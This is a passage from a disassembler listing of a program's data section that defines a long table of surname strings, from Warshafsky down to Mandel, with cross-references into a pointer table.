'Warshafsky',0 ; DATA XREF: ___:0042E71Co align 4 aVanheeckeren db 'Vanheeckeren',0 ; DATA XREF: ___:0042E718o align 4 aVandenberg db 'Vandenberg',0 ; DATA XREF: ___:0042E714o align 4 aVanzwet db 'VanZwet',0 ; DATA XREF: ___:0042E710o aVanallen db 'vanAllen',0 align 4 aWalter db 'Walter',0 align 10h aWallenberg db 'Wallenberg',0 ; DATA XREF: ___:0042E704o align 4 aWales db 'Wales',0 ; DATA XREF: ___:0042E700o align 4 aValencia db 'Valencia',0 ; DATA XREF: ___:0042E6FCo align 10h aValberg db 'Valberg',0 aWaite db 'Waite',0 ; DATA XREF: ___:0042E6F4o align 10h aVacca db 'Vacca',0 align 4 aUzuner db 'Uzuner',0 align 10h aUsdan db 'Usdan',0 align 4 aUrdangBrown db 'Urdang-Brown',0 align 4 aUrban db 'Urban',0 align 10h aUpsdell db 'Upsdell',0 aUntermeyer db 'Untermeyer',0 align 4 aUllman db 'Ullman',0 align 4 aTzamarias db 'Tzamarias',0 align 4 aTwells db 'Twells',0 align 10h aTuttle db 'Tuttle',0 align 4 aTurek db 'Turek',0 align 10h aTurano db 'Turano',0 align 4 aTukan db 'Tukan',0 align 10h aTudge db 'Tudge',0 ; DATA XREF: ___:0042E6B8o align 4 aTuck db 'Tuck',0 align 10h aTsukurov db 'Tsukurov',0 align 4 aTsomides db 'Tsomides',0 align 4 aTsiatis db 'Tsiatis',0 aTruss db 'Truss',0 align 4 aTroy db 'Troy',0 align 10h aTroiani db 'Troiani',0 aTringali db 'Tringali',0 align 4 aTrewin db 'Trewin',0 ; DATA XREF: ___:0042E694o align 4 aTrenga db 'Trenga',0 ; DATA XREF: ___:0042E690o align 4 aTraebert db 'Traebert',0 ; DATA XREF: ___:0042E68Co align 10h aToye db 'Toye',0 ; DATA XREF: ___:0042E688o align 4 aTowler db 'Towler',0 ; DATA XREF: ___:0042E684o align 10h aTorske db 'Torske',0 ; DATA XREF: ___:0042E680o align 4 aTorresi db 'Torresi',0 ; DATA XREF: ___:0042E67Co aTopulos db 'Topulos',0 ; DATA XREF: ___:0042E678o aToomer db 'Toomer',0 ; DATA XREF: ___:0042E674o align 10h aTomford db 'Tomford',0 ; DATA XREF: ___:0042E670o aTolman db 'Tolman',0 ; DATA XREF: ___:0042E66Co align 10h aTolls db 'Tolls',0 ; DATA XREF: ___:0042E668o align 4 aTollestrup db 'Tollestrup',0 ; DATA XREF: ___:0042E664o align 4 aTofallis db 'Tofallis',0 ; DATA XREF: ___:0042E660o align 10h aTimmons db 'Timmons',0 ; DATA XREF: ___:0042E65Co aTill db 'Till',0 ; DATA XREF: ___:0042E658o align 10h aTierney db 'Tierney',0 ; DATA XREF: ___:0042E654o aThroop db 'Throop',0 ; DATA XREF: ___:0042E650o align 10h aThomsen db 'Thomsen',0 ; DATA XREF: ___:0042E64Co aThisted db 'Thisted',0 ; DATA XREF: ___:0042E648o aThibault db 'Thibault',0 ; DATA XREF: ___:0042E644o align 4 aTheodos db 'Theodos',0 ; DATA XREF: ___:0042E640o aThavaneswaran db 'Thavaneswaran',0 ; DATA XREF: ___:0042E63Co align 4 aThan db 'Than',0 ; DATA XREF: ___:0042E638o align 4 aTerracini db 'Terracini',0 ; DATA XREF: ___:0042E634o align 4 aTenney db 'Tenney',0 ; DATA XREF: ___:0042E630o align 10h aTemmer db 'Temmer',0 ; DATA XREF: ___:0042E62Co align 4 aTemes db 'Temes',0 ; DATA XREF: ___:0042E628o align 10h aTeague db 'Teague',0 ; DATA XREF: ___:0042E624o align 4 aTcherepnin db 'Tcherepnin',0 ; DATA XREF: ___:0042E620o align 4 aTawn db 'Tawn',0 ; DATA XREF: ___:0042E61Co align 4 aTaveras db 'Taveras',0 ; DATA XREF: ___:0042E618o aTatar db 'Tatar',0 ; DATA XREF: ___:0042E614o align 4 aTanowitz db 'Tanowitz',0 ; DATA XREF: ___:0042E610o align 4 aTandler db 'Tandler',0 ; DATA XREF: ___:0042E60Co aTambiah db 'Tambiah',0 ; DATA XREF: ___:0042E608o aTalaugon db 'Talaugon',0 ; DATA XREF: ___:0042E604o align 4 aTai db 'Tai',0 ; DATA XREF: ___:0042E600o aTagiuri db 'Tagiuri',0 ; DATA XREF: ___:0042E5FCo aSwindle db 'Swindle',0 ; DATA XREF: ___:0042E5F8o aSweetser db 'Sweetser',0 ; DATA XREF: ___:0042E5F4o align 4 aSweeting db 'Sweeting',0 ; DATA XREF: ___:0042E5F0o align 10h aSurdam db 'Surdam',0 ; DATA XREF: ___:0042E5ECo align 4 aSuo db 'Suo',0 ; DATA XREF: ___:0042E5E8o aSumner db 'Sumner',0 ; DATA XREF: ___:0042E5E4o align 4 aSullivan db 'Sullivan',0 ; DATA XREF: ___:0042E5E0o align 10h aStringer db 'Stringer',0 ; DATA XREF: ___:0042E5DCo align 4 aStreiff db 'Streiff',0 ; DATA XREF: ___:0042E5D8o aStrauch db 'Strauch',0 ; DATA XREF: ___:0042E5D4o aStrange db 'Strange',0 ; DATA XREF: ___:0042E5D0o aStott db 'Stott',0 ; DATA XREF: ___:0042E5CCo align 4 aStorer db 'Storer',0 ; DATA XREF: ___:0042E5C8o align 4 aStonich db 'Stonich',0 ; DATA XREF: ___:0042E5C4o aStolzenberg db 'Stolzenberg',0 ; DATA XREF: ___:0042E5C0o aStockwell db 'Stockwell',0 ; DATA XREF: ___:0042E5BCo align 4 aStockton db 'Stockton',0 ; DATA XREF: ___:0042E5B8o align 10h aStock db 'Stock',0 ; DATA XREF: ___:0042E5B4o align 4 aStillwell db 'Stillwell',0 ; DATA XREF: ___:0042E5B0o align 4 aStiepock db 'Stiepock',0 ; DATA XREF: ___:0042E5ACo align 10h aStewartOaten db 'Stewart-Oaten',0 ; DATA XREF: ___:0042E5A8o align 10h aStepniewska db 'Stepniewska',0 ; DATA XREF: ___:0042E5A4o aStephanian db 'Stephanian',0 ; DATA XREF: ___:0042E5A0o align 4 aSteiner db 'Steiner',0 ; DATA XREF: ___:0042E59Co aStefani db 'Stefani',0 ; DATA XREF: ___:0042E598o aStatlender db 'Statlender',0 ; DATA XREF: ___:0042E594o align 4 aStates db 'States',0 ; DATA XREF: ___:0042E590o align 4 aStassinopolus db 'Stassinopolus',0 ; DATA XREF: ___:0042E58Co align 4 aStang db 'Stang',0 ; DATA XREF: ___:0042E588o align 4 aStam db 'Stam',0 ; DATA XREF: ___:0042E584o align 4 aStalvey db 'Stalvey',0 ; DATA XREF: ___:0042E580o aStmartin db 'StMartin',0 ; DATA XREF: ___:0042E57Co align 10h aSpinrad db 'Spinrad',0 ; DATA XREF: ___:0042E578o aSpiliotis db 'Spiliotis',0 ; DATA XREF: ___:0042E574o align 4 aSpiegelhalter db 'Spiegelhalter',0 ; DATA XREF: ___:0042E570o align 4 aSpicer db 'Spicer',0 ; DATA XREF: ___:0042E56Co align 4 aSperber db 'Sperber',0 ; DATA XREF: ___:0042E568o aSpence db 'Spence',0 ; DATA XREF: ___:0042E564o align 4 aSpeizer db 'Speizer',0 ; DATA XREF: ___:0042E560o aSpaulding db 'Spaulding',0 ; DATA XREF: ___:0042E55Co align 10h aSparrow db 'Sparrow',0 ; DATA XREF: ___:0042E558o aSpanier db 'Spanier',0 ; DATA XREF: ___:0042E554o aSoultanian db 'Soultanian',0 ; DATA XREF: ___:0042E550o align 4 aSoule db 'Soule',0 ; DATA XREF: ___:0042E54Co align 4 aSoukup db 'Soukup',0 ; DATA XREF: ___:0042E548o align 4 aSottak db 'Sottak',0 ; DATA XREF: ___:0042E544o align 4 aSorg db 'Sorg',0 ; DATA XREF: ___:0042E540o align 4 aSorabella db 'Sorabella',0 ; DATA XREF: ___:0042E53Co align 4 aSommariva db 'Sommariva',0 ; DATA XREF: ___:0042E538o align 4 aSomers db 'Somers',0 ; DATA XREF: ___:0042E534o align 4 aSolon db 'Solon',0 ; DATA XREF: ___:0042E530o align 4 aSocolow db 'Socolow',0 ; DATA XREF: ___:0042E52Co aSnodgrass db 'Snodgrass',0 ; DATA XREF: ___:0042E528o align 4 aSniffen db 'Sniffen',0 ; DATA XREF: ___:0042E524o aSmilow db 'Smilow',0 ; DATA XREF: ___:0042E520o align 4 aSlowe db 'Slowe',0 ; DATA XREF: ___:0042E51Co align 10h aSloan db 'Sloan',0 ; DATA XREF: ___:0042E518o align 4 aSkoda db 'Skoda',0 ; DATA XREF: ___:0042E514o align 10h aSkerry db 'Skerry',0 ; DATA XREF: ___:0042E510o align 4 aSkane db 'Skane',0 ; DATA XREF: ___:0042E50Co align 10h aSites db 'Sites',0 ; DATA XREF: ___:0042E508o align 4 aSirilli db 'Sirilli',0 ; DATA XREF: ___:0042E504o aSinsabaugh db 'Sinsabaugh',0 ; DATA XREF: ___:0042E500o align 4 aSilvetti db 'Silvetti',0 ; DATA XREF: ___:0042E4FCo align 4 aSilverman db 'Silverman',0 ; DATA XREF: ___:0042E4F8o align 4 aSigna db 'Signa',0 ; DATA XREF: ___:0042E4F4o align 4 aSigini db 'Sigini',0 ; DATA XREF: ___:0042E4F0o align 4 aSigalot db 'Sigalot',0 ; DATA XREF: ___:0042E4ECo aSiesto db 'Siesto',0 ; DATA XREF: ___:0042E4E8o align 4 aShimon db 'Shimon',0 ; DATA XREF: ___:0042E4E4o align 4 aShibata db 'Shibata',0 ; DATA XREF: ___:0042E4E0o aShia db 'Shia',0 ; DATA XREF: ___:0042E4DCo align 4 aShesko db 'Shesko',0 ; DATA XREF: ___:0042E4D8o align 4 aShepstone db 'Shepstone',0 ; DATA XREF: ___:0042E4D4o align 10h aSheppard db 'Sheppard',0 ; DATA XREF: ___:0042E4D0o align 4 aShepherd db 'Shepherd',0 ; DATA XREF: ___:0042E4CCo align 4 aSheats db 'Sheats',0 ; DATA XREF: ___:0042E4C8o align 10h aShea db 'Shea',0 ; DATA XREF: ___:0042E4C4o align 4 aShavelson db 'Shavelson',0 ; DATA XREF: ___:0042E4C0o align 4 aShatrov db 'Shatrov',0 ; DATA XREF: ___:0042E4BCo aShar db 'Shar',0 ; DATA XREF: ___:0042E4B8o align 4 aShanley db 'Shanley',0 ; DATA XREF: ___:0042E4B4o aShankland db 'Shankland',0 ; DATA XREF: ___:0042E4B0o align 4 aShakis db 'Shakis',0 ; DATA XREF: ___:0042E4ACo align 10h aShaikh db 'Shaikh',0 ; DATA XREF: ___:0042E4A8o align 4 aSeyfert db 'Seyfert',0 ; DATA XREF: ___:0042E4A4o aSexton db 'Sexton',0 ; DATA XREF: ___:0042E4A0o align 4 aSeterdahl db 'Seterdahl',0 ; DATA XREF: ___:0042E49Co align 4 aSennett db 'Sennett',0 ; DATA XREF: ___:0042E498o aSen db 'Sen',0 ; DATA XREF: ___:0042E494o aSelvage db 'Selvage',0 ; DATA XREF: ___:0042E490o aSekler db 'Sekler',0 ; DATA XREF: ___:0042E48Co align 10h aSegal db 'Segal',0 ; DATA XREF: ___:0042E488o align 4 aSeeber db 'Seeber',0 ; DATA XREF: ___:0042E484o align 10h aSeaton db 'Seaton',0 ; DATA XREF: ___:0042E480o align 4 aScudder db 'Scudder',0 ; DATA XREF: ___:0042E47Co aScovel db 'Scovel',0 ; DATA XREF: ___:0042E478o align 4 aSchwickrath db 'Schwickrath',0 ; DATA XREF: ___:0042E474o aSchwan db 'Schwan',0 ; DATA XREF: ___:0042E470o align 4 aSchuyler db 'Schuyler',0 ; DATA XREF: ___:0042E46Co align 4 aSchutte db 'Schutte',0 ; DATA XREF: ___:0042E468o aSchuman db 'Schuman',0 ; DATA XREF: ___:0042E464o aSchossberger db 'Schossberger',0 ; DATA XREF: ___:0042E460o align 4 aSchmitt db 'Schmitt',0 ; DATA XREF: ___:0042E45Co aSchilling db 'Schilling',0 ; DATA XREF: ___:0042E458o align 4 aSchifini db 'Schifini',0 ; DATA XREF: ___:0042E454o align 4 aSchiano db 'Schiano',0 ; DATA XREF: ___:0042E450o aScheiner db 'Scheiner',0 ; DATA XREF: ___:0042E44Co align 4 aScharlemann db 'Scharlemann',0 ; DATA XREF: ___:0042E448o aScharf db 'Scharf',0 ; DATA XREF: ___:0042E444o align 10h aScepan db 'Scepan',0 ; DATA XREF: ___:0042E440o align 4 aScarponi db 'Scarponi',0 ; DATA XREF: ___:0042E43Co align 4 aSayied db 'Sayied',0 ; DATA XREF: ___:0042E438o align 4 aSawtell db 'Sawtell',0 ; DATA XREF: ___:0042E434o aSatterthwaite db 'Satterthwaite',0 ; DATA XREF: ___:0042E430o align 4 aSatta db 'Satta',0 ; DATA XREF: ___:0042E42Co align 4 aSatin db 'Satin',0 ; DATA XREF: ___:0042E428o align 4 aSase db 'Sase',0 ; DATA XREF: ___:0042E424o align 4 aSartore db 'Sartore',0 ; DATA XREF: ___:0042E420o aSarin db 'Sarin',0 ; DATA XREF: ___:0042E41Co align 4 aSapers db 'Sapers',0 ; DATA XREF: ___:0042E418o align 4 aSanna db 'Sanna',0 ; DATA XREF: ___:0042E414o align 4 aSanchezRamirez db 'Sanchez-Ramirez',0 ; DATA XREF: ___:0042E410o aSamson db 'Samson',0 ; DATA XREF: ___:0042E40Co align 4 aSali db 'Sali',0 ; DATA XREF: ___:0042E408o align 4 aSahu db 'Sahu',0 ; DATA XREF: ___:0042E404o align 4 aSafire db 'Safire',0 ; DATA XREF: ___:0042E400o align 4 aSadler db 'Sadler',0 ; DATA XREF: ___:0042E3FCo align 4 aSabatello db 'Sabatello',0 ; DATA XREF: ___:0042E3F8o align 10h aRyu db 'Ryu',0 ; DATA XREF: ___:0042E3F4o aRush db 'Rush',0 ; DATA XREF: ___:0042E3F0o align 4 aRuescher db 'Ruescher',0 ; DATA XREF: ___:0042E3ECo align 4 aRuderman db 'Ruderman',0 ; DATA XREF: ___:0042E3E8o align 4 aRuan db 'Ruan',0 ; DATA XREF: ___:0042E3E4o align 4 aRu db 'Ru',0 ; DATA XREF: ___:0042E3E0o align 10h aRoyal db 'Royal',0 ; DATA XREF: ___:0042E3DCo align 4 aRow db 'Row',0 ; DATA XREF: ___:0042E3D8o aRonen db 'Ronen',0 ; DATA XREF: ___:0042E3D4o align 4 aRogers db 'Rogers',0 ; DATA XREF: ___:0042E3D0o align 4 aRoesler db 'Roesler',0 ; DATA XREF: ___:0042E3CCo aRocha db 'Rocha',0 ; DATA XREF: ___:0042E3C8o align 4 aRobinson db 'Robinson',0 ; DATA XREF: ___:0042E3C4o align 4 aRivera db 'Rivera',0 ; DATA XREF: ___:0042E3C0o align 10h aRish db 'Rish',0 ; DATA XREF: ___:0042E3BCo align 4 aRineer db 'Rineer',0 ; DATA XREF: ___:0042E3B8o align 10h aRindos db 'Rindos',0 ; DATA XREF: ___:0042E3B4o align 4 aRielly db 'Rielly',0 ; DATA XREF: ___:0042E3B0o align 10h aRichmond db 'Richmond',0 ; DATA XREF: ___:0042E3ACo align 4 aRhea db 'Rhea',0 ; DATA XREF: ___:0042E3A8o align 4 aResnik db 'Resnik',0 ; DATA XREF: ___:0042E3A4o align 4 aRepetto db 'Repetto',0 ; DATA XREF: ___:0042E3A0o aRenick db 'Renick',0 ; DATA XREF: ___:0042E39Co align 4 aRemak db 'Remak',0 ; DATA XREF: ___:0042E398o align 4 aReinold db 'Reinold',0 ; DATA XREF: ___:0042E394o aCunningham db 'Cunningham',0 ; DATA XREF: ___:0042E390o align 4 aReedquist db 'Reedquist',0 ; DATA XREF: ___:0042E38Co align 4 aReddenTyler db 'Redden-Tyler',0 ; DATA XREF: ___:0042E388o align 4 aRayport db 'Rayport',0 ; DATA XREF: ___:0042E384o aRapple db 'Rapple',0 ; DATA XREF: ___:0042E380o align 4 aRankin db 'Rankin',0 ; DATA XREF: ___:0042E37Co align 4 aRangan db 'Rangan',0 ; DATA XREF: ___:0042E378o align 4 aRaney db 'Raney',0 ; DATA XREF: ___:0042E374o align 4 aRajagopalan db 'Rajagopalan',0 ; DATA XREF: ___:0042E370o aRadeke db 'Radeke',0 ; DATA XREF: ___:0042E36Co align 10h aRabkin db 'Rabkin',0 ; DATA XREF: ___:0042E368o align 4 aRabe db 'Rabe',0 ; DATA XREF: ___:0042E364o align 10h aQuetin db 'Quetin',0 ; DATA XREF: ___:0042E360o align 4 aQuaday db 'Quaday',0 ; DATA XREF: ___:0042E35Co align 10h aPynchon db 'Pynchon',0 ; DATA XREF: ___:0042E358o aPugh db 'Pugh',0 ; DATA XREF: ___:0042E354o align 10h aPuccia db 'Puccia',0 ; DATA XREF: ___:0042E350o align 4 aProthrowStith db 'Prothrow-Stith',0 ; DATA XREF: ___:0042E34Co align 4 aProietti db 'Proietti',0 ; DATA XREF: ___:0042E348o align 4 aPritz db 'Pritz',0 ; DATA XREF: ___:0042E344o align 4 aPritchard db 'Pritchard',0 ; DATA XREF: ___:0042E340o align 4 aPrevost db 'Prevost',0 ; DATA XREF: ___:0042E33Co aPreucel db 'Preucel',0 ; DATA XREF: ___:0042E338o aPresper db 'Presper',0 ; DATA XREF: ___:0042E334o aPowers db 'Powers',0 ; DATA XREF: ___:0042E330o align 4 aPoolman db 'Poolman',0 ; DATA XREF: ___:0042E32Co aPoma db 'Poma',0 ; DATA XREF: ___:0042E328o align 4 aPolitis db 'Politis',0 ; DATA XREF: ___:0042E324o aPolanyi db 'Polanyi',0 ; DATA XREF: ___:0042E320o aPolak db 'Polak',0 ; DATA XREF: ___:0042E31Co align 10h aPoirier db 'Poirier',0 ; DATA XREF: ___:0042E318o aPointer db 'Pointer',0 ; DATA XREF: ___:0042E314o aPoincaire db 'Poincaire',0 ; DATA XREF: ___:0042E310o align 4 aPocobene db 'Pocobene',0 ; DATA XREF: ___:0042E30Co align 4 aPo db 'Po',0 ; DATA XREF: ___:0042E308o align 4 aPlous db 'Plous',0 ; DATA XREF: ___:0042E304o align 4 aPlasket db 'Plasket',0 ; DATA XREF: ___:0042E300o aPlant db 'Plant',0 ; DATA XREF: ___:0042E2FCo align 4 aPlancon db 'Plancon',0 ; DATA XREF: ___:0042E2F8o aPinot db 'Pinot',0 ; DATA XREF: ___:0042E2F4o align 4 aPilbeam db 'Pilbeam',0 ; DATA XREF: ___:0042E2F0o aPfister db 'Pfister',0 ; DATA XREF: ___:0042E2ECo aPettit db 'Pettit',0 ; DATA XREF: ___:0042E2E8o align 4 aPettibone db 'Pettibone',0 ; DATA XREF: ___:0042E2E4o align 4 aPetruzello db 'Petruzello',0 ; DATA XREF: ___:0042E2E0o align 4 aPeters db 'Peters',0 ; DATA XREF: ___:0042E2DCo align 4 aPerrimon db 'Perrimon',0 ; DATA XREF: ___:0042E2D8o align 4 aPerone db 'Perone',0 ; DATA XREF: ___:0042E2D4o align 10h aPerna db 'Perna',0 ; DATA XREF: ___:0042E2D0o align 4 aPerlman db 'Perlman',0 ; DATA XREF: ___:0042E2CCo aPerlak db 'Perlak',0 ; DATA XREF: ___:0042E2C8o align 4 aPerko db 'Perko',0 ; DATA XREF: ___:0042E2C4o align 10h aPereira db 'Pereira',0 ; DATA XREF: ___:0042E2C0o aPenny db 'Penny',0 ; DATA XREF: ___:0042E2BCo align 10h aPeishel db 'Peishel',0 ; DATA XREF: ___:0042E2B8o aPederson db 'Pederson',0 ; DATA XREF: ___:0042E2B4o align 4 aPearlberg db 'Pearlberg',0 ; DATA XREF: ___:0042E2B0o align 10h aPeabody db 'Peabody',0 ; DATA XREF: ___:0042E2ACo aPaynter db 'Paynter',0 ; DATA XREF: ___:0042E2A8o aPawloski db 'Pawloski',0 ; DATA XREF: ___:0042E2A4o align 4 aPavlon db 'Pavlon',0 ; DATA XREF: ___:0042E2A0o align 4 aPavetti db 'Pavetti',0 ; DATA XREF: ___:0042E29Co aPattullo db 'Pattullo',0 ; DATA XREF: ___:0042E298o align 4 aPatrick db 'Patrick',0 ; DATA XREF: ___:0042E294o aPatefield db 'Patefield',0 ; DATA XREF: ___:0042E290o align 4 aPascucci db 'Pascucci',0 ; DATA XREF: ___:0042E28Co align 4 aPartridge db 'Partridge',0 ; DATA XREF: ___:0042E288o align 4 aParris db 'Parris',0 ; DATA XREF: ___:0042E284o align 4 aParmeggiani db 'Parmeggiani',0 ; DATA XREF: ___:0042E280o aPaoletti db 'Paoletti',0 ; DATA XREF: ___:0042E27Co align 4 aPantilla db 'Pantilla',0 ; DATA XREF: ___:0042E278o align 10h aPanizzon db 'Panizzon',0 ; DATA XREF: ___:0042E274o align 4 aPanadero db 'Panadero',0 ; DATA XREF: ___:0042E270o align 4 aPalmitesta db 'Palmitesta',0 ; DATA XREF: ___:0042E26Co align 4 aPallara db 'Pallara',0 ; DATA XREF: ___:0042E268o aPalepu db 'Palepu',0 ; DATA XREF: ___:0042E264o align 4 aPalayoor db 'Palayoor',0 ; DATA XREF: ___:0042E260o align 10h aPaine db 'Paine',0 ; DATA XREF: ___:0042E25Co align 4 aPaesdealmeida db 'PaesDealmeida',0 ; DATA XREF: ___:0042E258o align 4 aOvid db 'Ovid',0 ; DATA XREF: ___:0042E254o align 10h aOuchida db 'Ouchida',0 ; DATA XREF: ___:0042E250o aOtten db 'Otten',0 ; DATA XREF: ___:0042E24Co align 10h aOttaviani db 'Ottaviani',0 ; DATA XREF: ___:0042E248o align 4 aOstrowski db 'Ostrowski',0 ; DATA XREF: ___:0042E244o align 4 aOspina db 'Ospina',0 ; DATA XREF: ___:0042E240o align 10h aOrsi db 'Orsi',0 ; DATA XREF: ___:0042E23Co align 4 aOrfield db 'Orfield',0 ; DATA XREF: ___:0042E238o aOray db 'Oray',0 ; DATA XREF: ___:0042E234o align 4 aOpel db 'Opel',0 ; DATA XREF: ___:0042E230o align 10h aOMeara db 'O',27h,'meara',0 ; DATA XREF: ___:0042E22Co aOman db 'Oman',0 ; DATA XREF: ___:0042E228o align 10h aOMalley db 'O',27h,'malley',0 ; DATA XREF: ___:0042E224o align 4 aOlszewski db 'Olszewski',0 ; DATA XREF: ___:0042E220o align 4 aOlson db 'Olson',0 ; DATA XREF: ___:0042E21Co align 10h aOlsen db 'Olsen',0 ; DATA XREF: ___:0042E218o align 4 aOldford db 'Oldford',0 ; DATA XREF: ___:0042E214o aOHagan db 'O',27h,'hagan',0 ; DATA XREF: ___:0042E210o aOh db 'Oh',0 ; DATA XREF: ___:0042E20Co align 4 aOgata db 'Ogata',0 ; DATA XREF: ___:0042E208o align 4 aOcougne db 'Ocougne',0 ; DATA XREF: ___:0042E204o aNuzum db 'Nuzum',0 ; DATA XREF: ___:0042E200o align 4 aNotman db 'Notman',0 ; DATA XREF: ___:0042E1FCo align 4 aNitabach db 'Nitabach',0 ; DATA XREF: ___:0042E1F8o align 4 aNisenson db 'Nisenson',0 ; DATA XREF: ___:0042E1F4o align 4 aNickoloff db 'Nickoloff',0 ; DATA XREF: ___:0042E1F0o align 10h aNickerson db 'Nickerson',0 ; DATA XREF: ___:0042E1ECo align 4 aNi_0 db 'Ni',0 ; DATA XREF: ___:0042E1E8o align 10h aNg db 'Ng',0 ; DATA XREF: ___:0042E1E4o align 4 aNewlin db 'Newlin',0 ; DATA XREF: ___:0042E1E0o align 4 aNewfeld db 'Newfeld',0 ; DATA XREF: ___:0042E1DCo aNeuman db 'Neuman',0 ; DATA XREF: ___:0042E1D8o align 4 aNesci db 'Nesci',0 ; DATA XREF: ___:0042E1D4o align 4 aNenna db 'Nenna',0 ; DATA XREF: ___:0042E1D0o align 4 aNelson db 'Nelson',0 ; DATA XREF: ___:0042E1CCo align 4 aNayduch db 'Nayduch',0 ; DATA XREF: ___:0042E1C8o aNaviaux db 'Naviaux',0 ; DATA XREF: ___:0042E1C4o aNardone db 'Nardone',0 ; DATA XREF: ___:0042E1C0o aNardi db 'Nardi',0 ; DATA XREF: ___:0042E1BCo align 4 aNapolitano db 'Napolitano',0 ; DATA XREF: ___:0042E1B8o align 10h aNaddeo db 'Naddeo',0 ; DATA XREF: ___:0042E1B4o align 4 aMussachio db 'Mussachio',0 ; DATA XREF: ___:0042E1B0o align 4 aMumford db 'Mumford',0 ; DATA XREF: ___:0042E1ACo aMulroy db 'Mulroy',0 ; DATA XREF: ___:0042E1A8o align 4 aMulkern db 'Mulkern',0 ; DATA XREF: ___:0042E1A4o aMugnai db 'Mugnai',0 ; DATA XREF: ___:0042E1A0o align 4 aMuello db 'Muello',0 ; DATA XREF: ___:0042E19Co align 4 aMudarri db 'Mudarri',0 ; DATA XREF: ___:0042E198o aMotooka db 'Motooka',0 ; DATA XREF: ___:0042E194o aMostafavi db 'Mostafavi',0 ; DATA XREF: ___:0042E190o align 4 aMosler db 'Mosler',0 ; DATA XREF: ___:0042E18Co align 10h aMosher db 'Mosher',0 ; DATA XREF: ___:0042E188o align 4 aMortimer db 'Mortimer',0 ; DATA XREF: ___:0042E184o align 4 aMorrow db 'Morrow',0 ; DATA XREF: ___:0042E180o align 4 aMorrison db 'Morrison',0 ; DATA XREF: ___:0042E17Co align 4 aMoreton db 'Moreton',0 ; DATA XREF: ___:0042E178o aMorani db 'Morani',0 ; DATA XREF: ___:0042E174o align 4 aMooredech_ db 'MooreDeCh.',0 ; DATA XREF: ___:0042E170o align 4 aMontilio db 'Montilio',0 ; DATA XREF: ___:0042E16Co align 10h aMonque db 'Monque',0 ; DATA XREF: ___:0042E168o align 4 aMoiamedi db 'Moiamedi',0 ; DATA XREF: ___:0042E164o align 4 aMohr db 'Mohr',0 ; DATA XREF: ___:0042E160o align 4 aMoeller db 'Moeller',0 ; DATA XREF: ___:0042E15Co aModestino db 'Modestino',0 ; DATA XREF: ___:0042E158o align 10h aMocroft db 'Mocroft',0 ; DATA XREF: ___:0042E154o aMittal db 'Mittal',0 ; DATA XREF: ___:0042E150o align 10h aMitropoulos db 'Mitropoulos',0 ; DATA XREF: ___:0042E14Co aGonzalez db 'Gonzalez',0 ; DATA XREF: ___:0042E148o align 4 aMinichiello db 'Minichiello',0 ; DATA XREF: ___:0042E144o aMini db 'Mini',0 ; DATA XREF: ___:0042E140o align 4 aMinh db 'Minh',0 ; DATA XREF: ___:0042E13Co align 4 aMills db 'Mills',0 ; DATA XREF: ___:0042E138o align 4 aMieher db 'Mieher',0 ; DATA XREF: ___:0042E134o align 4 aMiddle db 'Middle',0 ; DATA XREF: ___:0042E130o align 4 aMichelman db 'Michelman',0 ; DATA XREF: ___:0042E12Co align 4 aMeurer db 'Meurer',0 ; DATA XREF: ___:0042E128o align 10h aMetropolis db 'Metropolis',0 ; DATA XREF: ___:0042E124o align 4 aMetelka db 'Metelka',0 ; DATA XREF: ___:0042E120o aMerz db 'Merz',0 ; DATA XREF: ___:0042E11Co align 4 aMerseth db 'Merseth',0 ; DATA XREF: ___:0042E118o aMerminod db 'Merminod',0 ; DATA XREF: ___:0042E114o align 10h aMerlani db 'Merlani',0 ; DATA XREF: ___:0042E110o aMerikoski db 'Merikoski',0 ; DATA XREF: ___:0042E10Co align 4 aMenzies db 'Menzies',0 ; DATA XREF: ___:0042E108o aMemisoglu db 'Memisoglu',0 ; DATA XREF: ___:0042E104o align 4 aMeccariello db 'Meccariello',0 ; DATA XREF: ___:0042E100o aMcnulty db 'Mcnulty',0 ; DATA XREF: ___:0042E0FCo aMcnealy db 'Mcnealy',0 ; DATA XREF: ___:0042E0F8o aMclaren db 'Mclaren',0 ; DATA XREF: ___:0042E0F4o aMclane db 'Mclane',0 ; DATA XREF: ___:0042E0F0o align 4 aMckenna db 'Mckenna',0 ; DATA XREF: ___:0042E0ECo aMcintosh db 'Mcintosh',0 ; DATA XREF: ___:0042E0E8o align 4 aMcilroy db 'McIlroy',0 ; DATA XREF: ___:0042E0E4o aMcgoldrick db 'Mcgoldrick',0 ; DATA XREF: ___:0042E0E0o align 4 aMcghee db 'Mcghee',0 ; DATA XREF: ___:0042E0DCo align 4 aMcfadden db 'McFadden',0 ; DATA XREF: ___:0042E0D8o align 10h aMcelroy db 'Mcelroy',0 ; DATA XREF: ___:0042E0D4o aMcdowell db 'Mcdowell',0 ; DATA XREF: ___:0042E0D0o align 4 aMcclearn db 'Mcclearn',0 ; DATA XREF: ___:0042E0CCo align 10h aMccall db 'Mccall',0 ; DATA XREF: ___:0042E0C8o align 4 aMccaffery db 'Mccaffery',0 ; DATA XREF: ___:0042E0C4o align 4 aMcbride db 'Mcbride',0 ; DATA XREF: ___:0042E0C0o aMazziotta db 'Mazziotta',0 ; DATA XREF: ___:0042E0BCo align 4 aMazzali db 'Mazzali',0 ; DATA XREF: ___:0042E0B8o aMay db 'May',0 ; DATA XREF: ___:0042E0B4o aMauzy db 'Mauzy',0 ; DATA XREF: ___:0042E0B0o align 4 aMattson db 'Mattson',0 ; DATA XREF: ___:0042E0ACo aMatsukata db 'Matsukata',0 ; DATA XREF: ___:0042E0A8o align 10h aMatarazzo db 'Matarazzo',0 ; DATA XREF: ___:0042E0A4o align 4 aMatalka db 'Matalka',0 ; DATA XREF: ___:0042E0A0o aMass db 'Mass',0 ; DATA XREF: ___:0042E09Co align 4 aMarubini db 'Marubini',0 ; DATA XREF: ___:0042E098o align 4 aMarton db 'Marton',0 ; DATA XREF: ___:0042E094o align 10h aMartochio db 'Martochio',0 ; DATA XREF: ___:0042E090o align 4 aMartinez db 'Martinez',0 ; DATA XREF: ___:0042E08Co align 4 aMarques db 'Marques',0 ; DATA XREF: ___:0042E088o aMargetts db 'Margetts',0 ; DATA XREF: ___:0042E084o align 4 aMargalit db 'Margalit',0 ; DATA XREF: ___:0042E080o align 4 aMarcus db 'Marcus',0 ; DATA XREF: ___:0042E07Co align 10h aMarchbanks db 'Marchbanks',0 ; DATA XREF: ___:0042E078o align 4 aMarch db 'March',0 ; DATA XREF: ___:0042E074o align 4 aMantovan db 'Mantovan',0 ; DATA XREF: ___:0042E070o align 10h aManganiello db 'Manganiello',0 ; DATA XREF: ___:0042E06Co aMandel db 'Mandel',0 ; DATA XREF: ___:0042E068o align 4 aManalis db 